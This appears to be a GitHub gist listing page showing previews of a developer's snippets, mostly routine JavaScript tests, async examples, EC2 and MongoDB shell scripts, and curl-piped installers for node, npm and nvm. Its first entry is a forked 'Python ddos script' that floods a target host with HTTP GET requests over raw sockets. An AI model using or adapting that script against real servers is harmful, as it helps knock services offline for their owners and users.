wahengchang’s gists

wahengchang / ddos.py

Created April 27, 2016 14:17 — forked from tinnguyenz/ddos.py

Python ddos script

	import socket, sys, os
	print "][ Attacking " + sys.argv[1] + " ... ]["
	print "injecting " + sys.argv[2];
	def attack():
	#pid = os.fork()
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((sys.argv[1], 80))
	print ">> GET /" + sys.argv[2] + " HTTP/1.1"
	s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
	s.send("Host: " + sys.argv[1] + "\r\n\r\n");

wahengchang / middleware-test.js

Created November 4, 2016 07:03 — forked from CodeVachon/middleware-test.js

express middleware mocha test

	var middleware = require('middleware'), // the Middleware you want to test
	httpMocks = require('node-mocks-http'), // quickly sets up REQUEST and RESPONSE to be passed into Express Middleware
	request = {}, // define REQUEST
	response = {} // define RESPONSE
	;

	describe('Middleware test', function(){
	context('Valid arguments are passed', function() {
	beforeEach(function(done) {
	/*

wahengchang / gist:089408735315e5337d37d410d468ed4c

Created December 10, 2016 04:28

promise_function.js

	var sleep = function(para) {
	return new Promise(function(resolve, reject) {
	setTimeout(function() {
	resolve(para * para)
	}, 1000)
	})
	}

wahengchang / async_function.js

Created December 10, 2016 04:31

	var sleep = function(para) {
	return new Promise(function(resolve, reject) {
	setTimeout(function() {
	resolve(para * para)
	}, 1000)
	})
	}

	async function asyncSleep (para){
	return await sleep(para)

wahengchang / node-and-npm-in-30-seconds.sh

Created February 28, 2017 05:47 — forked from isaacs/node-and-npm-in-30-seconds.sh

Use one of these techniques to install node and npm without having to sudo. Discussed in more detail at http://joyeur.com/2010/12/10/installing-node-and-npm/ Note: npm >=0.3 is *safer* when using sudo.

	echo 'export PATH=$HOME/local/bin:$PATH' >> ~/.bashrc
	. ~/.bashrc
	mkdir ~/local
	mkdir ~/node-latest-install
	cd ~/node-latest-install
	curl http://nodejs.org/dist/node-latest.tar.gz \| tar xz --strip-components=1
	./configure --prefix=~/local
	make install # ok, fine, this step probably takes more than 30 seconds...
	curl https://www.npmjs.org/install.sh \| sh

wahengchang / syncEC2ByPem.sh

Last active April 30, 2017 07:30

A tool to sync file from local to AWS EC2 by pem key

	# 2017/4/23
	# To sync file from local to AWS EC2 by pem key
	# Exclude '/node_modules'


	# Check user name *******************/
	if [ -z ${SYNC_USER} ]; then
	echo "Input your EC2 name (default user: ec2-user):."
	read _userName
	if [ -z ${_userName} ]; then

wahengchang / gist:56c44ac901907ab075384185dcf18591

Created July 23, 2017 20:55

casperjs example


	var casper = require('casper').create();
	casper.start('http://casperjs.org/');

	casper.then(function() {
	this.echo('First Page: ' + this.getTitle());
	});

	casper.thenOpen('http://phantomjs.org', function() {
	this.echo('Second Page: ' + this.getTitle());

wahengchang / CloneDBToDB.sh

Last active August 30, 2017 14:56

Shell script for backing up Mongo Databases on a given server. To dump and restore production MongoDB databases.

	#####################################
	####### Config Your host here #####
	#####################################

	FROM_DB_HOST="abc.com:1024"
	TO_DB_HOST="def.mlab.com:1111"

	FROM_DB_NAME="peter"
	TO_DB_NAME="peter-dev"
	#####################################

wahengchang / gist:16ae5816367788f4ea33fbc4c0403f84

Created September 29, 2017 03:36

Linux initial command

	sudo yum upgrade
	sudo yum install git
	curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.4/install.sh \| bash
	source ~/.bash_profile
	nvm install v6.9.5

wahengchang / gist:d24f7c280ce9d3719bbe3ed03b1e44a9

Created September 29, 2017 06:04

docker-machine-install

	curl -L https://github.com/docker/machine/releases/download/v0.12.2/docker-machine-`uname -s`-`uname -m` >/tmp/docker-machine &&
	chmod +x /tmp/docker-machine
	sudo cp /tmp/docker-machine /usr/local/bin/docker-machine

peterchang wahengchang